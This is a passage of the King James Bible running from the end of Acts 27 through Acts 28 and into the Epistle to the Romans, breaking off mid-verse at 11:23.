And the rest, +some on boards, and some on broken pieces of the ship. + +And so it came to pass, that they escaped all safe to land. + +28:1 And when they were escaped, then they knew that the island was +called Melita. + +28:2 And the barbarous people shewed us no little kindness: for they +kindled a fire, and received us every one, because of the present +rain, and because of the cold. + +28:3 And when Paul had gathered a bundle of sticks, and laid them on +the fire, there came a viper out of the heat, and fastened on his +hand. + +28:4 And when the barbarians saw the venomous beast hang on his hand, +they said among themselves, No doubt this man is a murderer, whom, +though he hath escaped the sea, yet vengeance suffereth not to live. + +28:5 And he shook off the beast into the fire, and felt no harm. + +28:6 Howbeit they looked when he should have swollen, or fallen down +dead suddenly: but after they had looked a great while, and saw no +harm come to him, they changed their minds, and said that he was a +god. + +28:7 In the same quarters were possessions of the chief man of the +island, whose name was Publius; who received us, and lodged us three +days courteously. + +28:8 And it came to pass, that the father of Publius lay sick of a +fever and of a bloody flux: to whom Paul entered in, and prayed, and +laid his hands on him, and healed him. + +28:9 So when this was done, others also, which had diseases in the +island, came, and were healed: 28:10 Who also honoured us with many +honours; and when we departed, they laded us with such things as were +necessary. + +28:11 And after three months we departed in a ship of Alexandria, +which had wintered in the isle, whose sign was Castor and Pollux. + +28:12 And landing at Syracuse, we tarried there three days. + +28:13 And from thence we fetched a compass, and came to Rhegium: and +after one day the south wind blew, and we came the next day to +Puteoli: 28:14 Where we found brethren, and were desired to tarry with +them seven days: and so we went toward Rome. + +28:15 And from thence, when the brethren heard of us, they came to +meet us as far as Appii forum, and The three taverns: whom when Paul +saw, he thanked God, and took courage. + +28:16 And when we came to Rome, the centurion delivered the prisoners +to the captain of the guard: but Paul was suffered to dwell by himself +with a soldier that kept him. + +28:17 And it came to pass, that after three days Paul called the chief +of the Jews together: and when they were come together, he said unto +them, Men and brethren, though I have committed nothing against the +people, or customs of our fathers, yet was I delivered prisoner from +Jerusalem into the hands of the Romans. + +28:18 Who, when they had examined me, would have let me go, because +there was no cause of death in me. + +28:19 But when the Jews spake against it, I was constrained to appeal +unto Caesar; not that I had ought to accuse my nation of. + +28:20 For this cause therefore have I called for you, to see you, and +to speak with you: because that for the hope of Israel I am bound with +this chain. + +28:21 And they said unto him, We neither received letters out of +Judaea concerning thee, neither any of the brethren that came shewed +or spake any harm of thee. + +28:22 But we desire to hear of thee what thou thinkest: for as +concerning this sect, we know that every where it is spoken against. + +28:23 And when they had appointed him a day, there came many to him +into his lodging; to whom he expounded and testified the kingdom of +God, persuading them concerning Jesus, both out of the law of Moses, +and out of the prophets, from morning till evening. + +28:24 And some believed the things which were spoken, and some +believed not. + +28:25 And when they agreed not among themselves, they departed, after +that Paul had spoken one word, Well spake the Holy Ghost by Esaias the +prophet unto our fathers, 28:26 Saying, Go unto this people, and say, +Hearing ye shall hear, and shall not understand; and seeing ye shall +see, and not perceive: 28:27 For the heart of this people is waxed +gross, and their ears are dull of hearing, and their eyes have they +closed; lest they should see with their eyes, and hear with their +ears, and understand with their heart, and should be converted, and I +should heal them. + +28:28 Be it known therefore unto you, that the salvation of God is +sent unto the Gentiles, and that they will hear it. + +28:29 And when he had said these words, the Jews departed, and had +great reasoning among themselves. + +28:30 And Paul dwelt two whole years in his own hired house, and +received all that came in unto him, 28:31 Preaching the kingdom of +God, and teaching those things which concern the Lord Jesus Christ, +with all confidence, no man forbidding him. + + + + +The Epistle of Paul the Apostle to the Romans + + +1:1 Paul, a servant of Jesus Christ, called to be an apostle, +separated unto the gospel of God, 1:2 (Which he had promised afore by +his prophets in the holy scriptures,) 1:3 Concerning his Son Jesus +Christ our Lord, which was made of the seed of David according to the +flesh; 1:4 And declared to be the Son of God with power, according to +the spirit of holiness, by the resurrection from the dead: 1:5 By whom +we have received grace and apostleship, for obedience to the faith +among all nations, for his name: 1:6 Among whom are ye also the called +of Jesus Christ: 1:7 To all that be in Rome, beloved of God, called to +be saints: Grace to you and peace from God our Father, and the Lord +Jesus Christ. + +1:8 First, I thank my God through Jesus Christ for you all, that your +faith is spoken of throughout the whole world. + +1:9 For God is my witness, whom I serve with my spirit in the gospel +of his Son, that without ceasing I make mention of you always in my +prayers; 1:10 Making request, if by any means now at length I might +have a prosperous journey by the will of God to come unto you. + +1:11 For I long to see you, that I may impart unto you some spiritual +gift, to the end ye may be established; 1:12 That is, that I may be +comforted together with you by the mutual faith both of you and me. + +1:13 Now I would not have you ignorant, brethren, that oftentimes I +purposed to come unto you, (but was let hitherto,) that I might have +some fruit among you also, even as among other Gentiles. + +1:14 I am debtor both to the Greeks, and to the Barbarians; both to +the wise, and to the unwise. + +1:15 So, as much as in me is, I am ready to preach the gospel to you +that are at Rome also. + +1:16 For I am not ashamed of the gospel of Christ: for it is the power +of God unto salvation to every one that believeth; to the Jew first, +and also to the Greek. + +1:17 For therein is the righteousness of God revealed from faith to +faith: as it is written, The just shall live by faith. + +1:18 For the wrath of God is revealed from heaven against all +ungodliness and unrighteousness of men, who hold the truth in +unrighteousness; 1:19 Because that which may be known of God is +manifest in them; for God hath shewed it unto them. + +1:20 For the invisible things of him from the creation of the world +are clearly seen, being understood by the things that are made, even +his eternal power and Godhead; so that they are without excuse: 1:21 +Because that, when they knew God, they glorified him not as God, +neither were thankful; but became vain in their imaginations, and +their foolish heart was darkened. + +1:22 Professing themselves to be wise, they became fools, 1:23 And +changed the glory of the uncorruptible God into an image made like to +corruptible man, and to birds, and fourfooted beasts, and creeping +things. + +1:24 Wherefore God also gave them up to uncleanness through the lusts +of their own hearts, to dishonour their own bodies between themselves: +1:25 Who changed the truth of God into a lie, and worshipped and +served the creature more than the Creator, who is blessed for ever. +Amen. + +1:26 For this cause God gave them up unto vile affections: for even +their women did change the natural use into that which is against +nature: 1:27 And likewise also the men, leaving the natural use of the +woman, burned in their lust one toward another; men with men working +that which is unseemly, and receiving in themselves that recompence of +their error which was meet. + +1:28 And even as they did not like to retain God in their knowledge, +God gave them over to a reprobate mind, to do those things which are +not convenient; 1:29 Being filled with all unrighteousness, +fornication, wickedness, covetousness, maliciousness; full of envy, +murder, debate, deceit, malignity; whisperers, 1:30 Backbiters, haters +of God, despiteful, proud, boasters, inventors of evil things, +disobedient to parents, 1:31 Without understanding, covenantbreakers, +without natural affection, implacable, unmerciful: 1:32 Who knowing +the judgment of God, that they which commit such things are worthy of +death, not only do the same, but have pleasure in them that do them. + +2:1 Therefore thou art inexcusable, O man, whosoever thou art that +judgest: for wherein thou judgest another, thou condemnest thyself; +for thou that judgest doest the same things. + +2:2 But we are sure that the judgment of God is according to truth +against them which commit such things. + +2:3 And thinkest thou this, O man, that judgest them which do such +things, and doest the same, that thou shalt escape the judgment of +God? 2:4 Or despisest thou the riches of his goodness and forbearance +and longsuffering; not knowing that the goodness of God leadeth thee +to repentance? 2:5 But after thy hardness and impenitent heart +treasurest up unto thyself wrath against the day of wrath and +revelation of the righteous judgment of God; 2:6 Who will render to +every man according to his deeds: 2:7 To them who by patient +continuance in well doing seek for glory and honour and immortality, +eternal life: 2:8 But unto them that are contentious, and do not obey +the truth, but obey unrighteousness, indignation and wrath, 2:9 +Tribulation and anguish, upon every soul of man that doeth evil, of +the Jew first, and also of the Gentile; 2:10 But glory, honour, and +peace, to every man that worketh good, to the Jew first, and also to +the Gentile: 2:11 For there is no respect of persons with God. + +2:12 For as many as have sinned without law shall also perish without +law: and as many as have sinned in the law shall be judged by the law; +2:13 (For not the hearers of the law are just before God, but the +doers of the law shall be justified. + +2:14 For when the Gentiles, which have not the law, do by nature the +things contained in the law, these, having not the law, are a law unto +themselves: 2:15 Which shew the work of the law written in their +hearts, their conscience also bearing witness, and their thoughts the +mean while accusing or else excusing one another;) 2:16 In the day +when God shall judge the secrets of men by Jesus Christ according to +my gospel. + +2:17 Behold, thou art called a Jew, and restest in the law, and makest +thy boast of God, 2:18 And knowest his will, and approvest the things +that are more excellent, being instructed out of the law; 2:19 And art +confident that thou thyself art a guide of the blind, a light of them +which are in darkness, 2:20 An instructor of the foolish, a teacher of +babes, which hast the form of knowledge and of the truth in the law. + +2:21 Thou therefore which teachest another, teachest thou not thyself? +thou that preachest a man should not steal, dost thou steal? 2:22 +Thou that sayest a man should not commit adultery, dost thou commit +adultery? thou that abhorrest idols, dost thou commit sacrilege? 2:23 +Thou that makest thy boast of the law, through breaking the law +dishonourest thou God? 2:24 For the name of God is blasphemed among +the Gentiles through you, as it is written. + +2:25 For circumcision verily profiteth, if thou keep the law: but if +thou be a breaker of the law, thy circumcision is made uncircumcision. + +2:26 Therefore if the uncircumcision keep the righteousness of the +law, shall not his uncircumcision be counted for circumcision? 2:27 +And shall not uncircumcision which is by nature, if it fulfil the law, +judge thee, who by the letter and circumcision dost transgress the +law? 2:28 For he is not a Jew, which is one outwardly; neither is +that circumcision, which is outward in the flesh: 2:29 But he is a +Jew, which is one inwardly; and circumcision is that of the heart, in +the spirit, and not in the letter; whose praise is not of men, but of +God. + +3:1 What advantage then hath the Jew? or what profit is there of +circumcision? 3:2 Much every way: chiefly, because that unto them +were committed the oracles of God. + +3:3 For what if some did not believe? shall their unbelief make the +faith of God without effect? 3:4 God forbid: yea, let God be true, +but every man a liar; as it is written, That thou mightest be +justified in thy sayings, and mightest overcome when thou art judged. + +3:5 But if our unrighteousness commend the righteousness of God, what +shall we say? Is God unrighteous who taketh vengeance? (I speak as a +man) 3:6 God forbid: for then how shall God judge the world? 3:7 For +if the truth of God hath more abounded through my lie unto his glory; +why yet am I also judged as a sinner? 3:8 And not rather, (as we be +slanderously reported, and as some affirm that we say,) Let us do +evil, that good may come? whose damnation is just. + +3:9 What then? are we better than they? No, in no wise: for we have +before proved both Jews and Gentiles, that they are all under sin; +3:10 As it is written, There is none righteous, no, not one: 3:11 +There is none that understandeth, there is none that seeketh after +God. + +3:12 They are all gone out of the way, they are together become +unprofitable; there is none that doeth good, no, not one. + +3:13 Their throat is an open sepulchre; with their tongues they have +used deceit; the poison of asps is under their lips: 3:14 Whose mouth +is full of cursing and bitterness: 3:15 Their feet are swift to shed +blood: 3:16 Destruction and misery are in their ways: 3:17 And the way +of peace have they not known: 3:18 There is no fear of God before +their eyes. + +3:19 Now we know that what things soever the law saith, it saith to +them who are under the law: that every mouth may be stopped, and all +the world may become guilty before God. + +3:20 Therefore by the deeds of the law there shall no flesh be +justified in his sight: for by the law is the knowledge of sin. + +3:21 But now the righteousness of God without the law is manifested, +being witnessed by the law and the prophets; 3:22 Even the +righteousness of God which is by faith of Jesus Christ unto all and +upon all them that believe: for there is no difference: 3:23 For all +have sinned, and come short of the glory of God; 3:24 Being justified +freely by his grace through the redemption that is in Christ Jesus: +3:25 Whom God hath set forth to be a propitiation through faith in his +blood, to declare his righteousness for the remission of sins that are +past, through the forbearance of God; 3:26 To declare, I say, at this +time his righteousness: that he might be just, and the justifier of +him which believeth in Jesus. + +3:27 Where is boasting then? It is excluded. By what law? of works? +Nay: but by the law of faith. + +3:28 Therefore we conclude that a man is justified by faith without +the deeds of the law. + +3:29 Is he the God of the Jews only? is he not also of the Gentiles? +Yes, of the Gentiles also: 3:30 Seeing it is one God, which shall +justify the circumcision by faith, and uncircumcision through faith. + +3:31 Do we then make void the law through faith? God forbid: yea, we +establish the law. + +4:1 What shall we say then that Abraham our father, as pertaining to +the flesh, hath found? 4:2 For if Abraham were justified by works, he +hath whereof to glory; but not before God. + +4:3 For what saith the scripture? Abraham believed God, and it was +counted unto him for righteousness. + +4:4 Now to him that worketh is the reward not reckoned of grace, but +of debt. + +4:5 But to him that worketh not, but believeth on him that justifieth +the ungodly, his faith is counted for righteousness. + +4:6 Even as David also describeth the blessedness of the man, unto +whom God imputeth righteousness without works, 4:7 Saying, Blessed are +they whose iniquities are forgiven, and whose sins are covered. + +4:8 Blessed is the man to whom the Lord will not impute sin. + +4:9 Cometh this blessedness then upon the circumcision only, or upon +the uncircumcision also? for we say that faith was reckoned to Abraham +for righteousness. + +4:10 How was it then reckoned? when he was in circumcision, or in +uncircumcision? Not in circumcision, but in uncircumcision. + +4:11 And he received the sign of circumcision, a seal of the +righteousness of the faith which he had yet being uncircumcised: that +he might be the father of all them that believe, though they be not +circumcised; that righteousness might be imputed unto them also: 4:12 +And the father of circumcision to them who are not of the circumcision +only, but who also walk in the steps of that faith of our father +Abraham, which he had being yet uncircumcised. + +4:13 For the promise, that he should be the heir of the world, was not +to Abraham, or to his seed, through the law, but through the +righteousness of faith. + +4:14 For if they which are of the law be heirs, faith is made void, +and the promise made of none effect: 4:15 Because the law worketh +wrath: for where no law is, there is no transgression. + +4:16 Therefore it is of faith, that it might be by grace; to the end +the promise might be sure to all the seed; not to that only which is +of the law, but to that also which is of the faith of Abraham; who is +the father of us all, 4:17 (As it is written, I have made thee a +father of many nations,) before him whom he believed, even God, who +quickeneth the dead, and calleth those things which be not as though +they were. + +4:18 Who against hope believed in hope, that he might become the +father of many nations, according to that which was spoken, So shall +thy seed be. + +4:19 And being not weak in faith, he considered not his own body now +dead, when he was about an hundred years old, neither yet the deadness +of Sarah's womb: 4:20 He staggered not at the promise of God through +unbelief; but was strong in faith, giving glory to God; 4:21 And being +fully persuaded that, what he had promised, he was able also to +perform. + +4:22 And therefore it was imputed to him for righteousness. + +4:23 Now it was not written for his sake alone, that it was imputed to +him; 4:24 But for us also, to whom it shall be imputed, if we believe +on him that raised up Jesus our Lord from the dead; 4:25 Who was +delivered for our offences, and was raised again for our +justification. + +5:1 Therefore being justified by faith, we have peace with God through +our Lord Jesus Christ: 5:2 By whom also we have access by faith into +this grace wherein we stand, and rejoice in hope of the glory of God. + +5:3 And not only so, but we glory in tribulations also: knowing that +tribulation worketh patience; 5:4 And patience, experience; and +experience, hope: 5:5 And hope maketh not ashamed; because the love of +God is shed abroad in our hearts by the Holy Ghost which is given unto +us. + +5:6 For when we were yet without strength, in due time Christ died for +the ungodly. + +5:7 For scarcely for a righteous man will one die: yet peradventure +for a good man some would even dare to die. + +5:8 But God commendeth his love toward us, in that, while we were yet +sinners, Christ died for us. + +5:9 Much more then, being now justified by his blood, we shall be +saved from wrath through him. + +5:10 For if, when we were enemies, we were reconciled to God by the +death of his Son, much more, being reconciled, we shall be saved by +his life. + +5:11 And not only so, but we also joy in God through our Lord Jesus +Christ, by whom we have now received the atonement. + +5:12 Wherefore, as by one man sin entered into the world, and death by +sin; and so death passed upon all men, for that all have sinned: 5:13 +(For until the law sin was in the world: but sin is not imputed when +there is no law. + +5:14 Nevertheless death reigned from Adam to Moses, even over them +that had not sinned after the similitude of Adam's transgression, who +is the figure of him that was to come. + +5:15 But not as the offence, so also is the free gift. For if through +the offence of one many be dead, much more the grace of God, and the +gift by grace, which is by one man, Jesus Christ, hath abounded unto +many. + +5:16 And not as it was by one that sinned, so is the gift: for the +judgment was by one to condemnation, but the free gift is of many +offences unto justification. + +5:17 For if by one man's offence death reigned by one; much more they +which receive abundance of grace and of the gift of righteousness +shall reign in life by one, Jesus Christ.) 5:18 Therefore as by the +offence of one judgment came upon all men to condemnation; even so by +the righteousness of one the free gift came upon all men unto +justification of life. + +5:19 For as by one man's disobedience many were made sinners, so by +the obedience of one shall many be made righteous. + +5:20 Moreover the law entered, that the offence might abound. But +where sin abounded, grace did much more abound: 5:21 That as sin hath +reigned unto death, even so might grace reign through righteousness +unto eternal life by Jesus Christ our Lord. + +6:1 What shall we say then? Shall we continue in sin, that grace may +abound? 6:2 God forbid. How shall we, that are dead to sin, live any +longer therein? 6:3 Know ye not, that so many of us as were baptized +into Jesus Christ were baptized into his death? 6:4 Therefore we are +buried with him by baptism into death: that like as Christ was raised +up from the dead by the glory of the Father, even so we also should +walk in newness of life. + +6:5 For if we have been planted together in the likeness of his death, +we shall be also in the likeness of his resurrection: 6:6 Knowing +this, that our old man is crucified with him, that the body of sin +might be destroyed, that henceforth we should not serve sin. + +6:7 For he that is dead is freed from sin. + +6:8 Now if we be dead with Christ, we believe that we shall also live +with him: 6:9 Knowing that Christ being raised from the dead dieth no +more; death hath no more dominion over him. + +6:10 For in that he died, he died unto sin once: but in that he +liveth, he liveth unto God. + +6:11 Likewise reckon ye also yourselves to be dead indeed unto sin, +but alive unto God through Jesus Christ our Lord. + +6:12 Let not sin therefore reign in your mortal body, that ye should +obey it in the lusts thereof. + +6:13 Neither yield ye your members as instruments of unrighteousness +unto sin: but yield yourselves unto God, as those that are alive from +the dead, and your members as instruments of righteousness unto God. + +6:14 For sin shall not have dominion over you: for ye are not under +the law, but under grace. + +6:15 What then? shall we sin, because we are not under the law, but +under grace? God forbid. + +6:16 Know ye not, that to whom ye yield yourselves servants to obey, +his servants ye are to whom ye obey; whether of sin unto death, or of +obedience unto righteousness? 6:17 But God be thanked, that ye were +the servants of sin, but ye have obeyed from the heart that form of +doctrine which was delivered you. + +6:18 Being then made free from sin, ye became the servants of +righteousness. + +6:19 I speak after the manner of men because of the infirmity of your +flesh: for as ye have yielded your members servants to uncleanness and +to iniquity unto iniquity; even so now yield your members servants to +righteousness unto holiness. + +6:20 For when ye were the servants of sin, ye were free from +righteousness. + +6:21 What fruit had ye then in those things whereof ye are now +ashamed? for the end of those things is death. + +6:22 But now being made free from sin, and become servants to God, ye +have your fruit unto holiness, and the end everlasting life. + +6:23 For the wages of sin is death; but the gift of God is eternal +life through Jesus Christ our Lord. + +7:1 Know ye not, brethren, (for I speak to them that know the law,) +how that the law hath dominion over a man as long as he liveth? 7:2 +For the woman which hath an husband is bound by the law to her husband +so long as he liveth; but if the husband be dead, she is loosed from +the law of her husband. + +7:3 So then if, while her husband liveth, she be married to another +man, she shall be called an adulteress: but if her husband be dead, +she is free from that law; so that she is no adulteress, though she be +married to another man. + +7:4 Wherefore, my brethren, ye also are become dead to the law by the +body of Christ; that ye should be married to another, even to him who +is raised from the dead, that we should bring forth fruit unto God. + +7:5 For when we were in the flesh, the motions of sins, which were by +the law, did work in our members to bring forth fruit unto death. + +7:6 But now we are delivered from the law, that being dead wherein we +were held; that we should serve in newness of spirit, and not in the +oldness of the letter. + +7:7 What shall we say then? Is the law sin? God forbid. Nay, I had not +known sin, but by the law: for I had not known lust, except the law +had said, Thou shalt not covet. + +7:8 But sin, taking occasion by the commandment, wrought in me all +manner of concupiscence. For without the law sin was dead. + +7:9 For I was alive without the law once: but when the commandment +came, sin revived, and I died. + +7:10 And the commandment, which was ordained to life, I found to be +unto death. + +7:11 For sin, taking occasion by the commandment, deceived me, and by +it slew me. + +7:12 Wherefore the law is holy, and the commandment holy, and just, +and good. + +7:13 Was then that which is good made death unto me? God forbid. But +sin, that it might appear sin, working death in me by that which is +good; that sin by the commandment might become exceeding sinful. + +7:14 For we know that the law is spiritual: but I am carnal, sold +under sin. + +7:15 For that which I do I allow not: for what I would, that do I not; +but what I hate, that do I. + +7:16 If then I do that which I would not, I consent unto the law that +it is good. + +7:17 Now then it is no more I that do it, but sin that dwelleth in me. + +7:18 For I know that in me (that is, in my flesh,) dwelleth no good +thing: for to will is present with me; but how to perform that which +is good I find not. + +7:19 For the good that I would I do not: but the evil which I would +not, that I do. + +7:20 Now if I do that I would not, it is no more I that do it, but sin +that dwelleth in me. + +7:21 I find then a law, that, when I would do good, evil is present +with me. + +7:22 For I delight in the law of God after the inward man: 7:23 But I +see another law in my members, warring against the law of my mind, and +bringing me into captivity to the law of sin which is in my members. + +7:24 O wretched man that I am! who shall deliver me from the body of +this death? 7:25 I thank God through Jesus Christ our Lord. So then +with the mind I myself serve the law of God; but with the flesh the +law of sin. + +8:1 There is therefore now no condemnation to them which are in Christ +Jesus, who walk not after the flesh, but after the Spirit. + +8:2 For the law of the Spirit of life in Christ Jesus hath made me +free from the law of sin and death. + +8:3 For what the law could not do, in that it was weak through the +flesh, God sending his own Son in the likeness of sinful flesh, and +for sin, condemned sin in the flesh: 8:4 That the righteousness of the +law might be fulfilled in us, who walk not after the flesh, but after +the Spirit. + +8:5 For they that are after the flesh do mind the things of the flesh; +but they that are after the Spirit the things of the Spirit. + +8:6 For to be carnally minded is death; but to be spiritually minded +is life and peace. + +8:7 Because the carnal mind is enmity against God: for it is not +subject to the law of God, neither indeed can be. + +8:8 So then they that are in the flesh cannot please God. + +8:9 But ye are not in the flesh, but in the Spirit, if so be that the +Spirit of God dwell in you. Now if any man have not the Spirit of +Christ, he is none of his. + +8:10 And if Christ be in you, the body is dead because of sin; but the +Spirit is life because of righteousness. + +8:11 But if the Spirit of him that raised up Jesus from the dead dwell +in you, he that raised up Christ from the dead shall also quicken your +mortal bodies by his Spirit that dwelleth in you. + +8:12 Therefore, brethren, we are debtors, not to the flesh, to live +after the flesh. + +8:13 For if ye live after the flesh, ye shall die: but if ye through +the Spirit do mortify the deeds of the body, ye shall live. + +8:14 For as many as are led by the Spirit of God, they are the sons of +God. + +8:15 For ye have not received the spirit of bondage again to fear; but +ye have received the Spirit of adoption, whereby we cry, Abba, Father. + +8:16 The Spirit itself beareth witness with our spirit, that we are +the children of God: 8:17 And if children, then heirs; heirs of God, +and joint-heirs with Christ; if so be that we suffer with him, that we +may be also glorified together. + +8:18 For I reckon that the sufferings of this present time are not +worthy to be compared with the glory which shall be revealed in us. + +8:19 For the earnest expectation of the creature waiteth for the +manifestation of the sons of God. + +8:20 For the creature was made subject to vanity, not willingly, but +by reason of him who hath subjected the same in hope, 8:21 Because the +creature itself also shall be delivered from the bondage of corruption +into the glorious liberty of the children of God. + +8:22 For we know that the whole creation groaneth and travaileth in +pain together until now. + +8:23 And not only they, but ourselves also, which have the firstfruits +of the Spirit, even we ourselves groan within ourselves, waiting for +the adoption, to wit, the redemption of our body. + +8:24 For we are saved by hope: but hope that is seen is not hope: for +what a man seeth, why doth he yet hope for? 8:25 But if we hope for +that we see not, then do we with patience wait for it. + +8:26 Likewise the Spirit also helpeth our infirmities: for we know not +what we should pray for as we ought: but the Spirit itself maketh +intercession for us with groanings which cannot be uttered. + +8:27 And he that searcheth the hearts knoweth what is the mind of the +Spirit, because he maketh intercession for the saints according to the +will of God. + +8:28 And we know that all things work together for good to them that +love God, to them who are the called according to his purpose. + +8:29 For whom he did foreknow, he also did predestinate to be +conformed to the image of his Son, that he might be the firstborn +among many brethren. + +8:30 Moreover whom he did predestinate, them he also called: and whom +he called, them he also justified: and whom he justified, them he also +glorified. + +8:31 What shall we then say to these things? If God be for us, who can +be against us? 8:32 He that spared not his own Son, but delivered him +up for us all, how shall he not with him also freely give us all +things? 8:33 Who shall lay any thing to the charge of God's elect? It +is God that justifieth. + +8:34 Who is he that condemneth? It is Christ that died, yea rather, +that is risen again, who is even at the right hand of God, who also +maketh intercession for us. + +8:35 Who shall separate us from the love of Christ? shall tribulation, +or distress, or persecution, or famine, or nakedness, or peril, or +sword? 8:36 As it is written, For thy sake we are killed all the day +long; we are accounted as sheep for the slaughter. + +8:37 Nay, in all these things we are more than conquerors through him +that loved us. + +8:38 For I am persuaded, that neither death, nor life, nor angels, nor +principalities, nor powers, nor things present, nor things to come, +8:39 Nor height, nor depth, nor any other creature, shall be able to +separate us from the love of God, which is in Christ Jesus our Lord. + +9:1 I say the truth in Christ, I lie not, my conscience also bearing +me witness in the Holy Ghost, 9:2 That I have great heaviness and +continual sorrow in my heart. + +9:3 For I could wish that myself were accursed from Christ for my +brethren, my kinsmen according to the flesh: 9:4 Who are Israelites; +to whom pertaineth the adoption, and the glory, and the covenants, and +the giving of the law, and the service of God, and the promises; 9:5 +Whose are the fathers, and of whom as concerning the flesh Christ +came, who is over all, God blessed for ever. Amen. + +9:6 Not as though the word of God hath taken none effect. For they are +not all Israel, which are of Israel: 9:7 Neither, because they are the +seed of Abraham, are they all children: but, In Isaac shall thy seed +be called. + +9:8 That is, They which are the children of the flesh, these are not +the children of God: but the children of the promise are counted for +the seed. + +9:9 For this is the word of promise, At this time will I come, and +Sarah shall have a son. + +9:10 And not only this; but when Rebecca also had conceived by one, +even by our father Isaac; 9:11 (For the children being not yet born, +neither having done any good or evil, that the purpose of God +according to election might stand, not of works, but of him that +calleth;) 9:12 It was said unto her, The elder shall serve the +younger. + +9:13 As it is written, Jacob have I loved, but Esau have I hated. + +9:14 What shall we say then? Is there unrighteousness with God? God +forbid. + +9:15 For he saith to Moses, I will have mercy on whom I will have +mercy, and I will have compassion on whom I will have compassion. + +9:16 So then it is not of him that willeth, nor of him that runneth, +but of God that sheweth mercy. + +9:17 For the scripture saith unto Pharaoh, Even for this same purpose +have I raised thee up, that I might shew my power in thee, and that my +name might be declared throughout all the earth. + +9:18 Therefore hath he mercy on whom he will have mercy, and whom he +will he hardeneth. + +9:19 Thou wilt say then unto me, Why doth he yet find fault? For who +hath resisted his will? 9:20 Nay but, O man, who art thou that +repliest against God? Shall the thing formed say to him that formed +it, Why hast thou made me thus? 9:21 Hath not the potter power over +the clay, of the same lump to make one vessel unto honour, and another +unto dishonour? 9:22 What if God, willing to shew his wrath, and to +make his power known, endured with much longsuffering the vessels of +wrath fitted to destruction: 9:23 And that he might make known the +riches of his glory on the vessels of mercy, which he had afore +prepared unto glory, 9:24 Even us, whom he hath called, not of the +Jews only, but also of the Gentiles? 9:25 As he saith also in Osee, I +will call them my people, which were not my people; and her beloved, +which was not beloved. + +9:26 And it shall come to pass, that in the place where it was said +unto them, Ye are not my people; there shall they be called the +children of the living God. + +9:27 Esaias also crieth concerning Israel, Though the number of the +children of Israel be as the sand of the sea, a remnant shall be +saved: 9:28 For he will finish the work, and cut it short in +righteousness: because a short work will the Lord make upon the earth. + +9:29 And as Esaias said before, Except the Lord of Sabaoth had left us +a seed, we had been as Sodoma, and been made like unto Gomorrha. + +9:30 What shall we say then? That the Gentiles, which followed not +after righteousness, have attained to righteousness, even the +righteousness which is of faith. + +9:31 But Israel, which followed after the law of righteousness, hath +not attained to the law of righteousness. + +9:32 Wherefore? Because they sought it not by faith, but as it were by +the works of the law. For they stumbled at that stumblingstone; 9:33 +As it is written, Behold, I lay in Sion a stumblingstone and rock of +offence: and whosoever believeth on him shall not be ashamed. + +10:1 Brethren, my heart's desire and prayer to God for Israel is, that +they might be saved. + +10:2 For I bear them record that they have a zeal of God, but not +according to knowledge. + +10:3 For they being ignorant of God's righteousness, and going about +to establish their own righteousness, have not submitted themselves +unto the righteousness of God. + +10:4 For Christ is the end of the law for righteousness to every one +that believeth. + +10:5 For Moses describeth the righteousness which is of the law, That +the man which doeth those things shall live by them. + +10:6 But the righteousness which is of faith speaketh on this wise, +Say not in thine heart, Who shall ascend into heaven? (that is, to +bring Christ down from above:) 10:7 Or, Who shall descend into the +deep? (that is, to bring up Christ again from the dead.) 10:8 But +what saith it? The word is nigh thee, even in thy mouth, and in thy +heart: that is, the word of faith, which we preach; 10:9 That if thou +shalt confess with thy mouth the Lord Jesus, and shalt believe in +thine heart that God hath raised him from the dead, thou shalt be +saved. + +10:10 For with the heart man believeth unto righteousness; and with +the mouth confession is made unto salvation. + +10:11 For the scripture saith, Whosoever believeth on him shall not be +ashamed. + +10:12 For there is no difference between the Jew and the Greek: for +the same Lord over all is rich unto all that call upon him. + +10:13 For whosoever shall call upon the name of the Lord shall be +saved. + +10:14 How then shall they call on him in whom they have not believed? +and how shall they believe in him of whom they have not heard? and how +shall they hear without a preacher? 10:15 And how shall they preach, +except they be sent? as it is written, How beautiful are the feet of +them that preach the gospel of peace, and bring glad tidings of good +things! 10:16 But they have not all obeyed the gospel. For Esaias +saith, Lord, who hath believed our report? 10:17 So then faith cometh +by hearing, and hearing by the word of God. + +10:18 But I say, Have they not heard? Yes verily, their sound went +into all the earth, and their words unto the ends of the world. + +10:19 But I say, Did not Israel know? First Moses saith, I will +provoke you to jealousy by them that are no people, and by a foolish +nation I will anger you. + +10:20 But Esaias is very bold, and saith, I was found of them that +sought me not; I was made manifest unto them that asked not after me. + +10:21 But to Israel he saith, All day long I have stretched forth my +hands unto a disobedient and gainsaying people. + +11:1 I say then, Hath God cast away his people? God forbid. For I also +am an Israelite, of the seed of Abraham, of the tribe of Benjamin. + +11:2 God hath not cast away his people which he foreknew. Wot ye not +what the scripture saith of Elias? how he maketh intercession to God +against Israel saying, 11:3 Lord, they have killed thy prophets, and +digged down thine altars; and I am left alone, and they seek my life. + +11:4 But what saith the answer of God unto him? I have reserved to +myself seven thousand men, who have not bowed the knee to the image of +Baal. + +11:5 Even so then at this present time also there is a remnant +according to the election of grace. + +11:6 And if by grace, then is it no more of works: otherwise grace is +no more grace. But if it be of works, then it is no more grace: +otherwise work is no more work. + +11:7 What then? Israel hath not obtained that which he seeketh for; +but the election hath obtained it, and the rest were blinded. + +11:8 (According as it is written, God hath given them the spirit of +slumber, eyes that they should not see, and ears that they should not +hear;) unto this day. + +11:9 And David saith, Let their table be made a snare, and a trap, and +a stumblingblock, and a recompence unto them: 11:10 Let their eyes be +darkened, that they may not see, and bow down their back alway. + +11:11 I say then, Have they stumbled that they should fall? God +forbid: but rather through their fall salvation is come unto the +Gentiles, for to provoke them to jealousy. + +11:12 Now if the fall of them be the riches of the world, and the +diminishing of them the riches of the Gentiles; how much more their +fulness? 11:13 For I speak to you Gentiles, inasmuch as I am the +apostle of the Gentiles, I magnify mine office: 11:14 If by any means +I may provoke to emulation them which are my flesh, and might save +some of them. + +11:15 For if the casting away of them be the reconciling of the world, +what shall the receiving of them be, but life from the dead? 11:16 +For if the firstfruit be holy, the lump is also holy: and if the root +be holy, so are the branches. + +11:17 And if some of the branches be broken off, and thou, being a +wild olive tree, wert graffed in among them, and with them partakest +of the root and fatness of the olive tree; 11:18 Boast not against the +branches. But if thou boast, thou bearest not the root, but the root +thee. + +11:19 Thou wilt say then, The branches were broken off, that I might +be graffed in. + +11:20 Well; because of unbelief they were broken off, and thou +standest by faith. Be not highminded, but fear: 11:21 For if God +spared not the natural branches, take heed lest he also spare not +thee. + +11:22 Behold therefore the goodness and severity of God: on them which +fell, severity; but toward thee, goodness, if thou continue in his +goodness: otherwise thou also shalt be cut off. + +11:23 And they also, if they abide not still in 